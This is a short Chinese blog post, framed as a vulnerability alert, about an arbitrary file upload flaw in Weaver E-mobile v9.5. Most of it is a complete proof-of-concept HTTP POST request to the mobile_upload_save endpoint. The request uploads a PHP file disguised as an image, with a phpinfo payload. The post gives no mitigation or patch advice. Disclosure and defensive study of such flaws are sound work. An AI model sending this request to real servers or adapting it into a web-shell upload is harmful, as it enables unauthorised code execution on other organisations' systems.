【漏洞预警】泛微E-mobile v9.5任意文件上传漏洞

青旅半醒 2024-03-16 11:37 21阅读 0赞

*  泛微`E-mobile v9.5`任意文件上传漏洞

官网：https://www.weaver.com.cn/new/product/emobile/  
![在这里插入图片描述][df22c1c4939b45c68205bb7528fe62b9.png]

POC

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
    Host: X.X.X.X:8088
    Content-Length: 338
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: null
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Connection: close
    
    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    Content-Disposition: form-data; name="upload_quwan"; filename="1.php@"
    Content-Type: image/jpeg
    
    <?php phpinfo();?>
    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    Content-Disposition: form-data; name="file"; filename=""
    Content-Type: application/octet-stream
    
    
    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--

![在这里插入图片描述][6eb7894febb3417694884041b0e42851.png]  
![在这里插入图片描述][198ccab4dca5455785a63876c69fd0d2.png]

[df22c1c4939b45c68205bb7528fe62b9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/16/0e470aa80a9745abae3b8ce473895578.png
[6eb7894febb3417694884041b0e42851.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/16/2b0a2b62377c4aa0a879deeb220aee01.png
[198ccab4dca5455785a63876c69fd0d2.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/16/2f8384c7bb714298a98f471724c39bea.png